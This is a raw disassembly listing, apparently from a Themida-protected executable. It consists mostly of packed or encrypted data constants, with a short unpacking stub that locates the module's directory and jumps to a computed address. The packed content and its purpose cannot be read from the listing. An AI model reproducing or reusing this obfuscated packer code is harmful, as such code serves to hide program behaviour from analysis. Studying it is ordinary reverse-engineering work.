		dd 0F718750Eh, 0F3FBBAAAh, 8F28759Ah, 2DC613FCh, 0C65FAC63h
		dd 20FA47C8h, 0B4BEC9D1h, 0E0BD4DF7h, 0C0A5AE0Ah, 8F6DF901h
		dd 5A7149F1h, 0F18F3552h, 0A83B464Dh, 0D6D65560h, 1CEBAA8Ah
		dd 159AB077h, 0DBB60000h, 3E4EE734h, 9FEB84D1h,	58A2370h
		dd 6924BD0Ah, 4C6959A6h, 0D724EBA2h, 75C24D3Eh,	0E5BB4DCh
		dd 0A9F61975h, 0F7880CFh, 6C4DF7B5h, 1C72B98Fh,	3407C235h
		dd 7BE6C9CEh, 888703BCh, 30E910F5h, 0AB7EB35Ch,	99CE414Ah
		dd 6C2233C6h, 0F4836EA3h, 29BC533Bh, 748B04DDh,	0DFD01B6Ch
		dd 4E394147h, 2D47DFCFh, 567F8A22h, 36764780h, 7EEB7EB5h
		dd 22BCB906h, 30D3h, 68232500h,	0F447DF5Fh, 5FB2D5DDh
		dd 0A2AA47DFh, 47DF5FE5h, 0E8F38B96h, 0C54A4455h, 0D03F4D06h
		dd 3835C89Bh, 0B8DBBC50h, 0E0A7DC47h, 14F0h, 0F31C724Ah
		dd 392831BEh, 0E5AA637Ah, 5E2CF52Ah, 3EA97CB1h,	0CF62ADDDh
		dd 0F171136Fh, 0CA172249h, 0D3B4BCD3h, 0B04DF179h, 343D12A5h
		dd 0E0868E4Dh, 0E750038Eh, 3065AAE6h, 6B860109h, 0EAF547DFh
		dd 0B8DF147Fh, 8FC190FFh, 110367C5h, 0A2B346B1h, 0F2DA27E8h
		dd 47E0169Ch, 0E6A56A22h, 1FB25D2Dh, 0C038922h,	917E0ED7h
		dd 55D67D5Ch, 6B255E99h, 739C6FA4h, 0ABE37FDBh,	0F15C2F64h
		dd 14CF125Eh, 26E9A178h, 0F4B31EF1h, 85BA553Bh,	2D221FB2h
		dd 22BCD855h, 29C82h, 0A5AED400h, 2DF901C0h, 3149F18Dh
		dd 0F5BB6BB0h, 0F1C19AEDh, 0B5DEE94Dh, 6823919Bh, 61A93CA7h
		dd 0F6169756h, 8BFF0010h, 743D22B5h, 0B3AAF718h, 91F3949Ch
		dd 85904DF1h, 64ABE1F2h, 8987082Fh, 26BD6D5Fh, 870464F7h
		dd 0FF4DF23Ch, 0D1BB26BBh, 8B94F13Eh, 0CFDFE7A6h, 0F6500456h
		dd 18732CEBh, 587F64F7h, 0D6F320D7h, 0BE510163h, 0D3DBE0ADh
		dd 47E007B4h, 46FCFEC7h, 0DC45D8FAh, 0C2B90671h, 598E8109h
		dd 205A5D86h
		dd 0FD67B79Ch, 0DB34596Ah, 0E32C631Ch, 107ADBAEh, 6F876CFFh
		dd 47DF6E1Eh, 32BD2468h, 74F5B45Bh, 6442E7B4h, 9CEF5051h
		dd 86E3E073h, 58D9987Dh, 0EA284BCEh, 82EF0C48h,	0BE3A9CC5h
		dd 7078E77Ah, 49F1D666h, 4F848851h, 0AA6F0A72h,	4D410A3Fh
		dd 0B2DC75C2h, 0A7E59E5Dh, 0CD603368h, 74B7D0E8h, 83C74DF1h
		dd 0E0B835Eh, 8A5D927Dh, 0E6A7601Fh, 0A2999629h, 7504838Bh
		dd 76774DF1h, 0F0C3F817h, 0ABE1F285h, 26662F64h, 51D5B4E9h
		dd 0D8375590h, 0AFDB948Bh, 7483040Ch, 0F5004DF1h, 0EF82558Ah
		dd 0AEEB0282h, 0D4D724h, 72290000h, 7D92FE1Bh, 0D50A7548h
		dd 598E810Ch, 0EBF67Ah,	3E35828Dh, 0D1BB1BDh, 86598E81h
		dd 95801F5Dh, 9386636Ch, 8417A69Dh, 0BCAFBF17h,	4646FF22h
		dd 60C194C9h, 4A4CDF30h, 96h, 4B3C445Bh, 3847DFB4h, 4DC2CC2Dh
		dd 84B24518h, 34F31C72h, 0CAFF107Bh, 0B67F64F7h, 230237D8h
		dd 0E7A7429Fh, 0EEE6DB28h, 3B22BCE2h, 66h, 14FB934Ch, 0A5AE5381h
		dd 484801C0h, 5EBF92C7h, 0DB4ADD32h, 0F17203D3h, 28E7F249h
		dd 797E0911h, 0F2FD4DF1h, 0F05206C9h, 8A1D0397h, 9FE8DA5h
		dd 0CFBC4DF2h, 4D420B40h, 0E02F61C2h, 0E00115ABh, 7D94D3FBh
		dd 1348C7C4h, 9F79040h,	555D4DF2h, 4DF20A32h, 0A3AE4651h
		dd 761DC410h, 24AE481Eh, 98CBh,	0A5AE1D00h, 29F901C0h
		dd 0ED49F177h, 78B9CED6h, 0BFCA4DF1h, 0A4D9E42Ch, 115EB1DBh
		dd 3CFB1478h, 0A4050A83h, 1DF025EAh, 0B0DCA58Ah, 0C74B2A5Fh
		dd 52BDCF1Ah, 0E7B01005h, 546524AEh, 0B7000000h, 0FAB9A2AEh
		dd 1EB762E3h, 0C5A2313Fh, 5A839031h, 2ABD51F7h,	0E0579DCAh
		dd 5E939EC7h, 0DE664546h, 37AA96C7h, 38F7DCE8h,	0DE653730h
		dd 0EE7B4447h, 1D6A726Fh, 5E47DF76h, 6DF32A53h,	120956C1h
		dd 0C19F3591h, 57B8BBFCh, 0CEA1D639h, 72C3Bh, 74960000h
		dd 47h,	0F71872DEh, 7C93F9C2h, 5BF6962Fh, 73728C84h, 17D64149h
		dd 80717696h, 7B0EE9A6h, 16FB0996h, 0EFC3C9E1h,	0A2ED47DFh
		dd 0ADB849AFh, 0C12C5F88h, 44CBC38Ch, 13CE120Fh, 578AA6CEh
		dd 43F85030h, 0C2B85DDh, 14D70000h, 5F92F5FDh, 0E6F147DFh
		dd 37707E53h, 0DF5F582Fh, 0C4CC2B47h, 47DF5FC3h, 0DF4AB5C0h
		dd 8C7E92AAh, 0E4A8CE68h, 632DF62Bh, 0FEB277ACh, 0BAD6FEE3h
		dd 0D6606027h, 3148AB17h, 8A9B5E29h, 5BE68CD1h,	0FE6DB610h
		dd 96FA5B66h, 2AE4E679h, 36000000h, 0FCBBA0AEh,	0DF5F93F4h
		dd 0B0E5F047h, 53239198h, 5F829EAEh, 0CF33A828h, 0F1F9108Bh
		dd 0F1533896h, 4547DAE5h, 271h,	0C5A0AE97h, 3F1247C8h
		dd 305C15D4h, 376CA3E9h, 3866F964h, 1C72361Ch, 5B1475F3h
		dd 0D4A7DC33h, 16924041h, 25BCEACEh, 525Bh, 0A0AEAD00h
		dd 0C143DBBh, 47DF5F82h, 9EEDA605h, 0B9693C71h,	47DF5FCEh
		dd 60097E86h, 6F7A47DFh, 0E361CCD7h, 18723E14h,	35179F7h
		dd 92F5FD14h, 0F147DF5Fh, 5FFD8A92h, 737E47DFh,	67667508h
		dd 8F000000h, 60177078h, 596447DFh, 487D92F8h, 14B4E275h
		dd 49DC335Bh, 14C36674h, 32D5E294h, 14F674DFh, 8BF7CFDh
		dd 0CDDCE737h, 0E2B4DA3Ah, 564147DFh, 62ADDE97h, 4E838C01h
		dd 14BAE87Bh, 58D29E93h, 6E0127B3h, 3B67E8FFh, 4F40BBB5h
		dd 14B3E174h, 5F92F5FDh, 0E6F147DFh, 0C7484253h, 315B1449h
		dd 43D6A9DEh, 5B23C311h, 2335C7B6h, 58EB246Ah, 0BAD34647h
		dd 49DEA55h, 5CE858Ah, 3BD08788h, 5F2FBA27h, 0C0CE5FB0h
		dd 5A71984Fh, 0E7B83552h, 0A83B4659h, 270643C0h, 0BBF01F6Eh
		dd 0D80955E8h, 3D8E810Dh, 762DE2ACh, 0A4EAE0ADh, 0E359E7B7h
		dd 788C21D8h, 0FF107E69h, 9F701DAEh, 2758CA6Ah,	3CBDC61Bh
		dd 7B6FDF87h, 42D37BC0h, 20919423h, 99EEF6B5h, 0EA59E797h
		dd 523B4CDFh, 1449C6C7h, 0F089D641h, 0F1BA719Eh, 97602E9Ch
		dd 1C2759E7h, 6CED7C65h, 35B97E3Dh, 0B8C07F15h,	59E81ACFh
		dd 0C20EA1ACh, 45CAC41Fh, 94BDCD86h, 0DFC6E030h, 356AD51Bh
		dd 808F0162h, 44FDECEDh, 0BC8FC44Bh, 99761829h,	98C442E2h
		dd 0CCC22DB4h, 2D61F243h, 2B622BE2h, 3D729DEEh,	0B348FF6Ah
		dd 0E7A7429Fh, 7229D728h, 1D34F31Ch, 0CDA6299Ch, 0F6A6C10Eh
		dd 47DFC691h, 2654E7F2h, 0A2AE361Ch, 4D41FAB9h,	27BA8DC2h
		dd 16D482F9h, 25BCEACEh, 455Bh,	0A2AEAD00h, 7279FAB9h
		dd 49158498h, 14DE0C9Fh, 0DF5F820Ch, 3BFA0547h,	0A2030C82h
		dd 1AED22EDh, 3E145987h, 99A11A72h, 47DF5FEEh, 9917828Dh
		dd 8609C251h, 0EE815489h, 3E74C0h, 0E49D0000h, 5D3065AAh
		dd 0A2AE9CCAh, 0FD143BB9h, 5FA9DEE6h, 0CFDA47DFh, 5FB2DC3Ch
		dd 2DAE47DFh, 97A58F51h, 50DF5FF3h, 0A2B2ACD5h,	0AA956F02h
		dd 723E142Ch, 7D36F51Ah, 0FACD020Dh, 3513967h, 0DF6EBD23h
		dd 1D9E5D47h, 42F07D06h, 0D0DF7210h, 0FFFFFD17h, 5F68233Ah
		dd 808E47DFh, 0DC5BDC9Bh, 2B41A08h, 0D7706D00h,	0BA4A9EB3h
		dd 0CFC5EFACh, 7EE954BBh, 0CB563149h, 917D47DFh, 1AF59550h
		dd 4B3C445Bh, 3847DFCBh, 21666E2Dh, 6247DFCCh, 2EC7C457h
		dd 764B15Eh, 6BE254FBh,	7211767Eh, 677247DFh, 576E5D3Eh
		dd 639FB7ECh, 0C205B5BEh, 7C543BA6h, 0A960EAA4h, 221h
		dd 5F6B23FBh, 848D47DFh, 8CD6DE9Dh, 5449F16Ah, 0EA1FF09Bh
		dd 313C8417h, 0D03F4BE4h, 55BAD29Bh, 0DAEDD96h,	0F1738205h
		dd 8BF6014Dh, 6BEC13F8h, 0F261D995h, 1E2FC25Fh,	29E2A16Eh
		dd 0A477AC63h, 33C64943h, 0C9B8C14Eh, 9CEBF30Ah, 0DF4DF165h
		dd 2E63ACDEh, 0EE5DF05Bh, 9F701ED7h, 8E86AC0Ch,	68315003h
		dd 1649C0ADh, 0B4339E5Fh, 0EDB8A0FAh, 0AD8C53F8h, 0C900000Dh
		dd 61FA47C8h, 0FE97E42Bh, 9D36838Ch, 37D01DF2h,	7C6CB956h
		dd 37D8B539h, 0D53A51EAh, 6EA1EF88h, 9068821h, 8B93E2BCh
		dd 4DF7BCFCh, 72CCA27Fh, 31BEF31Ch, 727A3928h, 49F7AD8Dh
		dd 1BD4939Eh, 0BA53A06Fh, 0D34649D0h, 0B6EB56B9h, 7A4378E3h
		dd 833CFB14h, 8D72050Ah, 4B0AF700h, 0DD12FD92h,	8770Ah
		dd 5009D122h, 3F83020Dh, 53EDB2C0h, 0D36E7AEh, 3F520000h
		dd 0A2EA83D0h, 387206Dh, 6926BF0Ch, 0CDC059A6h,	0B005F542h
		dd 73C04F3Eh, 115EB1DAh, 0AAF71878h, 45927D11h,	73141C6Bh
		dd 104DF7BDh, 1C725D33h, 2831BEF3h, 0E2637A39h,	0A84BAEABh
		dd 2B5C0CA3h, 5847DFAAh, 6DA2EC4Dh, 63D26538h, 0F1DA035Bh
		dd 9CA4BB49h, 4DF1C4EBh, 0B2FA8D98h, 0CDC15AA7h, 4C028342h
		dd 70DCAA48h, 0EB4845D8h, 2C34F3E2h, 5009C3C8h,	7831F0FBh
		dd 0ED2D3F12h, 0DAB3DAC9h, 0C6FB1479h, 10C988F3h, 8B5E937Ch
		dd 76AB642Ah, 7A1310A3h, 0BF40FF10h, 0D22B5DCBh, 6A4FE21Eh
		dd 0ED22EDA1h, 0AB6A5760h, 24FB8C94h, 7D8847EAh, 0AF737BEAh
		dd 7E49FC47h, 59CA9DB5h, 667E04Dh, 9C1B8689h, 0EBA0222Eh
		dd 65B87F24h, 8100000Ch, 19B2FF10h, 0B64F9C73h,	55EE3BD4h
		dd 0EF88D53Ah, 3424719Eh, 0EF206D81h, 8D8209A2h, 26E9A740h
		dd 0C14E40D9h, 434B9A74h, 4DF7BD44h, 72845A37h,	7B34F31Ch
		dd 1CAFF10h, 8316818Eh,	1908119Eh, 6480525Ah, 646F49F1h
		dd 10E7E17h, 8704BDB4h,	0A6E4F588h, 8B93AA69h, 4DF16BFCh
		dd 0E4E1747Fh, 305B142Eh, 6E774CDFh, 62C0C887h,	4D49F17Fh
		dd 96F50D42h, 5D4DF180h, 0E827651Eh, 14DE0B3h, 0DF29A9E0h
		dd 0A5FE24AEh, 50000000h, 0C0F51A72h, 457A95F7h
		dd 0C7FC137Ch, 252D8EFEh, 47DF5F62h, 5EAB1621h,	3DDCAE67h
		dd 0B689BE51h, 0B043164Bh, 24E3D2DBh, 0BAEF206Bh, 0DDE554E7h
		dd 49F174A5h, 0F1995269h, 6616E91Eh, 4DF17621h,	7CC45762h
		dd 0B392F271h, 3BE0EBAAh, 0B8774h, 21EEA300h, 0BE513BD4h
		dd 5DB2D871h, 0F7187710h, 937C11AAh, 8F5F5646h,	2BC411FEh
		dd 0C962AF60h, 62FB48C7h, 0BC96E32Ch, 0BF22656Dh, 84614DF7h
		dd 729314AEh, 0A1E6EE3Eh, 0E247E044h, 2F47AED7h, 0E1A6AE6Dh
		dd 0A247E034h, 99F30497h, 5B922976h, 0FC000000h, 0DC335B14h
		dd 0F7880A7h, 6C47DF60h, 5263F661h, 13A0D53Ah, 545C1B0Ah
		dd 49F188DEh, 593FBEC9h, 0B9EBAA8Dh, 0B0A4D14h,	6B260000h
		dd 0CEBE57A4h, 2F5BF441h, 95FA93E0h, 0F9942D7Ah, 0DCD9C916h
		dd 47947B12h, 0E532DDAEh, 7ECB444Ch, 1966A9E5h,	9FE8F03Fh
		dd 0DC4DF7BFh, 1C7229FFh, 99F5BEF3h, 0B0BB46B8h, 6FD044E4h
		dd 0E7BAEF20h, 0F05C477Ch, 93A9AF1h, 0A7EF22BCh, 41000002h
		dd 6C25D89Bh, 0E4B7EC23h, 8E737C51h, 977816CFh,	0C57E9504h
		dd 6D1C45CAh, 93A68902h, 331B7B0Eh, 5249F1AFh, 0AC078847h
		dd 0A024AEAh, 2F1E1FB2h, 0C2F71876h, 2CFC5CEFh,	305A89B8h
		dd 0C3F81777h, 7F885DF0h, 43CBD392h, 1B3F7671h,	4FE22D62h
		dd 3AC7FC07h, 7D854431h, 3D89F598h, 0F7E7Fh, 0CE8DF8CBh
		dd 49967915h, 0B823B52h, 4CFCCF04h, 3D61F93Bh, 6B030C7Fh
		dd 828DFF60h, 5FB0DEEFh, 3A3CF4E0h, 0F2B95E18h,	0A2Ch
		dd 79C64948h, 1663ACE0h, 0B5020D7Dh, 4F9C731Ch,	0EB38D7B6h
		dd 5934BAFBh, 0BBD069B6h, 226E0754h, 8707A0EDh,	12613B88h
		dd 0F7C07D0Ah, 4B21FE4Dh, 0C0F51A72h, 0D7A8299h, 6E47DF60h
		dd 87F21D6Dh, 5FC7C0C8h, 0A9B447DFh, 49384116h,	0AD38828Ah
		dd 5C6749F7h, 69A6E49Dh, 0DDAE67D6h, 3F4CE532h,	0AF13747Ch
		dd 65704DF7h, 2F38C5FAh, 476F284h, 2D98541Ch, 614C666Eh
		dd 707B500Ah, 8693F8B1h, 1D40906h, 524D3A42h, 232E47EAh
		dd 0B9D26BB8h, 9A105C98h, 51BC95F8h, 0D6DEF51Ch, 47E99BB1h
		dd 2334C7D2h, 0CF25A46Bh, 83EDB299h, 97A17DEh, 0FB960000h
		dd 5E2EC714h, 0BFCB64B1h, 256A0350h, 89049DEAh,	6C493986h
		dd 0B7040B82h, 55A26D1Eh, 0EE3BD4BCh, 89D63955h, 2F5860AFh
		dd 4C4DF7C1h, 9314996Fh, 98A030C0h, 47E036EFh, 6858818Ch
		dd 0C5308EA7h, 78B43CC6h, 41464E0Dh, 4247DFBAh,	0B1A8A437h
		dd 0B9F5929Ah, 278647DFh, 0DFB9681Fh, 0A5101B47h, 0BA0DB212h
		dd 0AF647DFh, 96F5AED7h, 99040B83h, 1AF59B64h, 14A712E5h
		dd 0CBBAC310h, 0C0AE040Ch, 0DBF249F1h, 0B2CBBCC4h, 0ADB84DF1h
		dd 0F1B28AFDh, 0AF60304Dh, 40FA77Ah, 5F1E2971h,	0DE2BE4A6h
		dd 25CB7881h, 7773D140h, 0A7EF0D83h, 0BDD7F77Eh, 0F08B9352h
		dd 0AC500482h, 413CB52Bh, 5D2D8891h, 3FAA7DB2h,	2B6364ACh
		dd 1BA79E4h, 52FF8C8Dh,	3FDF3517h, 0D50A75ADh, 4C3B4302h
		dd 2F47E5B2h, 0D36CB924h, 85D554BBh, 2DEDBEF6h,	886C188h
		dd 0EFA20000h, 523AD320h, 0B3D770BDh, 19760F5Ch, 7D10A9F6h
		dd 60554592h, 0C310FF8Eh, 61AE612Ah, 0FA47C8C8h, 95E22D61h
		dd 23646CBBh, 604DF7C2h, 6823AD83h, 5247DF5Fh, 8F86D33Ch
		dd 60177078h, 596447DFh, 5FF5929Ah, 7B8647DFh, 1B0A13E8h
		dd 0AEAC545Ch, 8C9749F1h, 997614CDh, 8FFE9164h,	4ACFBF78h
		dd 0CD60CB44h, 0EE3BD4BCh, 9FD43B55h, 813D8h, 0A5AE4200h
		dd 74BE02h, 774A7F90h, 0AB00134Eh, 55C02BE4h, 0CAC67F96h
		dd 1052B245h, 0DF49F211h, 120F7880h, 616C4DF2h,	199AC1F6h
		dd 3EE8060Eh, 0AFB77675h, 4DF17AD8h, 0AD0DA0ABh, 4DF17ADEh
		dd 6E1DD615h, 1FC20EA1h, 0AEE56868h, 0DEBD24h, 720F0000h
		dd 7B94FB1Eh, 93D05110h, 6B163CCh, 0C28B7003h, 481146C9h
		dd 0CB94C946h, 0D28B4AC5h, 0C2BF52BDh, 73A86729h, 13FC934Ch
		dd 0B2A3AB80h, 0CE4EBF3h, 0ED747E0h, 5CB2E844h,	0B8ED5862h
		dd 0D4BD2410h, 679C731Bh, 0A0F00194h, 95F7B06Fh, 51EAE77Ah
		dd 839BD03Fh, 47DF6810h, 0FC934C5Bh, 0AD348013h, 74C14E42h
		dd 67260F17h, 0DF69605Fh, 70AB2C47h, 3B9C8649h,	3C3D8518h
		dd 1D52BD52h, 0A9E23754h, 15AEFB66h, 9B649976h,	3FE71CF3h
		dd 38538E53h, 9AF18AD7h, 0AAB34075h, 92F4FCBBh,	0F549F24Ch
		dd 87049DEAh, 0BEC65388h, 750E16D5h, 0FE4DF256h, 2A16BEF3h
		dd 0B05F2CB7h, 4EC1CA63h, 9E838C19h, 7C77D7DFh,	838E5004h
		dd 21EE9D36h, 44434B62h, 3747E031h, 39C992Ch, 7F35828Dh
		dd 1C0A5AEh, 0F17089F9h, 0EAA9B449h, 0D3BD5C31h, 0C99CD13Ch
		dd 0A92A5136h, 17759149h, 0C7F0C3F8h, 4BDEECD6h, 0FEBD523Ah
		dd 8C5F6A7Dh, 52E5ACCFh, 0B0DD5E55h, 9A024631h,	0AEF11FB2h
		dd 5D84B9A2h, 7067EAA4h, 222086E4h, 21F42994h, 275D2E8Eh
		dd 315D47E0h, 0ADE0A9DEh, 0B4682D62h, 2B5C642Dh, 5847E028h
		dd 9EBAE24Dh, 36744C43h, 39A122BCh, 0F3000000h,	0C0F51A72h
		dd 0DF5FDFA8h, 0D908F447h, 0D2917E0Eh, 5FD4B3BBh, 0B2DE47DFh
		dd 27BAC55Dh, 141C332Ah, 47DF5F73h, 97CC4347h, 8E212CC4h
		dd 0DF7A992Eh, 90B81747h, 22FFFFFFh, 75F31C72h,	5B14B89Eh
		dd 0D3A6DB34h, 765F6B40h, 16D086F8h, 25BCEACEh,	4B5Bh
		dd 0DBB36C00h, 32CFF34h, 0ABF3EF03h, 4876098Ah,	0CBC3A2AEh
		dd 611AD944h, 0D8ABE02Fh, 0C141745h, 47DF5F7Bh,	853EFD08h
		dd 45730609h, 1A723E14h, 147F90FFh, 51363E55h, 3247DF5Fh
		dd 14669427h, 4DE02F5Bh, 3B74CD1Bh, 0DE000000h,	0AAFBA2AEh
		dd 0D9AEB6D5h, 0AA47DFDBh, 590B769Fh, 0C9382DEBh, 0E853B061h
		dd 5B14FF7Dh, 0DA49DC33h, 0DF5FB5D2h, 80889F47h, 47DF6007h
		dd 0FCD66974h, 3E149311h, 77F51A72h, 0FD140351h, 0DF5F92F5h
		dd 53E6F147h, 6B734842h, 47DF601Ch, 0B4E9545Fh,	0DF5FEB9Ch
		dd 28E1F047h, 4349AA65h, 0F4ED39CCh, 222A91F9h,	47DF5F65h
		dd 0D8AFB716h, 0AB47DF5Fh, 0B9D435A0h, 0E34E2156h, 7066AE96h
		dd 278647DFh, 0FFFFF391h, 0F51A7291h, 53424BA8h, 6CDA8C94h
		dd 0D2DD49F1h, 6E06859Dh, 0AEED4DF1h, 6DF88F97h, 0C28B4DF1h
		dd 0B511AA5h, 0AB3EA90Fh, 8B0B825Fh, 0F324AE57h, 27BA553Ah
		dd 0E25h, 8747700h, 9D000000h, 2E63ACE4h, 0AE9AC85Bh, 4801C0A5h
		dd 0CB3ACD42h, 0F174A3C3h, 9CF2AB49h, 0D86B3E73h, 87508590h
		dd 80A24C05h, 966F6054h, 0A4F3B903h, 3AA51093h,	987C05EDh
		dd 0A3244DF1h, 0F29EFE20h, 5F72F41Dh, 0F29EAF42h, 95D3615Fh
		dd 92FD86B7h, 752552D3h, 0B71FFDD1h, 4CFF28Eh, 79AA91Ah
		dd 0FA1F710Ah, 234A7F90h, 0F1AE6C1Bh, 99040F4Dh, 0B759F92Eh
		dd 6724F59Ah, 35A073A8h, 0B6593700h, 0A1408481h, 5B86823Ch
		dd 0C20F0090h, 0F3AA6529h, 15ED642Ah, 408EE196h, 6F04BB26h
		dd 335B865Bh, 0FB66A9E6h, 0BE16FCAAh, 6B233CEAh, 0D9h
		dd 0BDA6AEBDh, 820C143Fh, 0DE47DF5Fh, 81EB755Dh, 0A1B3BB43h
		dd 0AAEA13C8h, 0D87F4CB6h, 0ADE30777h, 0EAD5AF42h, 373E146Ch
		dd 931423A9h, 0C0CC4AF2h, 1E471A4Fh, 0D76AC54Ah, 0C947C8C6h
		dd 0B7FF9314h, 0A3FD0BFh, 81920E37h, 0D77F922h,	6BFA497Fh
		dd 0AE0DF3D8h, 143BB9A2h, 79997D93h, 4ADDB4D7h,	0CE16974Dh
		dd 5B25BCEAh, 41h, 0B9A2AEADh, 0C14E41FAh, 5B14002Eh, 0D3A6DB34h
		dd 0BEC9D140h, 0BD47DF5Fh, 3E1434B2h, 0B2371A72h, 0A4D5449Dh
		dd 0AB04838Bh, 6C7747DFh, 1ED79601h, 996CA16Eh,	2ABD5238h
		dd 740351FCh, 22h, 0B9A2AEDEh, 7B0C143Bh, 7647DF5Fh, 3E140D8Bh
		dd 36F51A72h, 19F3DDB5h, 9866438h, 0DA089B06h, 5B140351h
		dd 3B4ADD32h, 0FFFFFF1Eh, 0F31C72A5h, 7699F5BEh, 20C3CC29h
		dd 0EA10A2E6h, 688D0C23h, 9EABFE27h, 0A4DAADB5h, 9EA947DFh
		dd 5009C833h, 0D59ED33Ch, 4E2156B9h, 40B82E3h, 94FA0271h
		dd 0F349F1D1h, 0F09BB3E8h, 34DF1C9h, 3393FAE7h,	0E824AE88h
		dd 3Ah,	0C0A5AE3Ah, 7ECDF901h, 2D3849F1h, 0A450D1F8h, 0F0805211h
		dd 4A41A134h, 0A94DF1F6h, 3C4B536Ah, 3F4DF1F7h,	8C55A134h
		dd 0CC434A03h, 0C431C497h, 24AE69CCh, 0BC19h, 1C726B00h
		dd 98F5BEF3h, 0D0050A81h, 2D7CD4FDh, 8BF5297Ah,	6C22EB20h
		dd 0E9A56EA3h, 0EF1D926h, 5447DFF7h, 0EF88D53Ah, 0AE3B709Fh
		dd 4801C0A5h, 0C396CB44h, 9DB9C130h, 849F1F7h, 4A53B0FDh
		dd 0ABE39C5Bh, 858A0364h, 7BEA7D50h, 4A0A873h, 0D1909B50h
		dd 4D9A7518h, 0B736D9B4h, 0EDBE95A9h, 9DDDA449h, 0B9000002h
		dd 51EA37D8h, 0EE87D43Bh, 8D26739Ch, 27C00D02h,	6C5CA966h
		dd 27E8A549h, 0C54A41DAh, 5EB1DF78h, 0F9167811h, 7B83D2ACh
		dd 4DF7C80Ch, 72BC926Fh, 7E91FE1Bh, 0EF9B5413h,	8518EB20h
		dd 709FEF88h, 1B732C23h, 0AC894A36h, 2E99EA1Bh,	0E36D1305h
		dd 59EC9BC8h, 0C0A5AE2Bh, 7ECDF901h, 581149F1h,	0D1A4D936h
		dd 0B6EBF63Eh, 0F180ED9Eh, 0FBC0CD4Dh, 0F18094F3h, 71DCE74Dh
		dd 0F619733Ch, 0CA172BC1h, 97AEED15h, 0F180F88Fh, 1024FA4Dh
		dd 85412FD2h, 34FE2EDh,	192FA7DEh, 0ABFC24AEh, 4E000000h
		dd 0BEF31C72h, 427798F5h, 0DF5BD52Ah, 9E711D47h, 39D6B851h
		dd 0BE5CDD04h, 4F413887h, 20BE073h, 0A4C5413h, 0ED49F24Eh
		dd 2F3895E2h, 437B8342h, 625004F9h, 0ADE22D61h,	99B06FDAh
		dd 1E6DACE0h, 7EE9BCF1h, 5CB3DAEBh, 0F817760Fh,	0BEF85579h
		dd 0B1781DEDh, 1A4h, 0F13ED1C0h, 8EDB3458h, 2D7A95F5h
		dd 0C714FB94h, 63B05F2Eh, 0E1AC4273h, 4348E12Eh, 0AAE67FCCh
		dd 0F7F1865h, 8AD9B300h, 0F7C90582h, 0C399764Dh, 0A7F41B72h
		dd 0F199800Eh, 6F66B31Eh, 22ED9F58h, 1D6A1AEDh,	5E47DF60h
		dd 948E2A53h, 473B068h,	1C724371h, 4D828DFDh, 97500F7Ah
		dd 0A3881BF4h, 9C5BB4DAh, 3166A9E3h, 71CECB5Eh,	1BA7968h
		dd 0E018D8Ch, 669B06D9h, 89910093h, 49F16729h, 5A2D3594h
		dd 294DF168h, 3BF4B31Eh, 0D66FBC53h, 952257B8h,	65E6A58Ch
		dd 99175EDFh, 19881B91h, 0A4E3EB02h, 0D74DF197h, 0E9D939CCh
		dd 0D45009E5h, 0D3104AC9h, 5D02EDB2h, 0E796h, 818E0300h
		dd 1EF19B34h, 0BD5238D1h, 57B8D770h, 0F31C710Ah, 0EFFFB6A6h
		dd 8B24719Eh, 29C20F00h, 0C25BA867h, 1CF643CCh,	0C9C2C5CDh
		dd 0E4C14DF7h, 315B140Eh, 26DA2E8h, 0A4919A6Fh,	0ADA9DDE5h
		dd 0ECA549F7h, 63366BA4h, 487D88D0h, 0E9266821h, 0C6494556h
		dd 9FE8F007h, 0DC4DF7ADh, 0A8413ED1h, 7FDD6BE6h, 892D6D19h
		dd 658ED426h, 43AE7B06h, 0B666E70Eh, 0B73640FAh, 0E98BEB7Eh
		dd 36EA808Ch, 6A24BF22h, 0D3DBE0AFh, 0AD91F1B4h, 1C51BCC7h
		dd 0F891DE49h, 1D447996h, 51E42B64h, 8BC04F40h,	5653D4E3h
		dd 0EC23683Bh, 89516DC3h, 0DE97CD5Fh, 0D86BD663h, 833C558Ch
		dd 62730609h, 0FD96E32Ch, 22497E91h, 5E7460A1h,	3EBAE32Ch
		dd 0D4E3765Bh, 14h, 2F5B143Eh, 45D8ABE0h, 969EB5E4h, 47DF5FF1h
		dd 0C6F48792h, 0BBF01F72h, 3E739CF2h, 0BFF41B75h, 457A95F6h
		dd 0C9FE117Ch, 4D828D00h, 0CF040B84h, 568B8406h, 0DB10FF8Dh
		dd 43C768D4h, 1C890000h, 4F2C6824h, 2C890000h, 37FA6824h
		dd 3C890000h, 6E685324h, 5B4A1741h, 0E3C1DBF7h,	0B5EB8107h
		dd 53EE46F8h, 66242C81h, 5D712255h, 5566C581h, 835B7122h
		dd 248904ECh, 24048324h, 89525F04h, 85789EAh, 8324148Bh
		dd 34FF04C4h, 0C4835F24h, 242C8B04h, 5E08950h, 4, 405h
		dd 24048700h, 1513E95Ch, 7244FFFAh, 6B7BB8D2h, 0C5030618h
		dd 0C185C650h, 47061215h, 38172568h, 0F1B5FFCFh, 8D061217h
		dd 123B4885h, 8BD0FF06h, 1D858DD8h, 50061209h, 10468h
		dd 0C6D3FF00h, 1215C185h, 0BF685306h, 0FF8307F8h, 1217F1B5h
		dd 48858D06h, 0FF06123Bh, 0D8589D0h, 8306184Eh,	122EEDBDh
		dd 840F0006h, 0Bh, 0C99D8Bh, 5E90612h, 0BB000000h, 0
; ---------------------------------------------------------------------------
		push	100h
		lea	esi, [ebp+6184E11h]
		push	esi
		push	ebx
		call	dword ptr [ebp+6121CFDh]
		lea	esi, [ebp+6184E11h]
		add	esi, eax
		jmp	loc_5E2759
; ---------------------------------------------------------------------------


loc_5E2758:				; CODE XREF: Themida_:005E2765j
		dec	esi


loc_5E2759:				; CODE XREF: Themida_:005E2753j
		cmp	byte ptr [esi],	5Ch
		jz	loc_5E276B
		cmp	byte ptr [esi],	2Fh
		jnz	loc_5E2758


loc_5E276B:				; CODE XREF: Themida_:005E275Cj
		mov	byte ptr [esi],	0
		lea	eax, [ebp+6184E11h]
		push	eax
		call	dword ptr [ebp+6184E0Dh]
		pop	eax
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0F03h
		dd 0E88A36D3h, 29BE6183h, 388B4B99h, 679D6DE7h,	17E77A27h
		dd 0D05E3F3Dh, 68FB3592h, 430979F7h, 0DA6E79CCh, 2CEF7860h
		dd 62C46F16h, 1A1F271Eh, 0BC8A0A70h, 8D8D4449h,	6186DAEh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A0C35646h
		dd 0A571E824h, 934F25F9h, 7C5858Bh, 89600612h, 121A798Dh
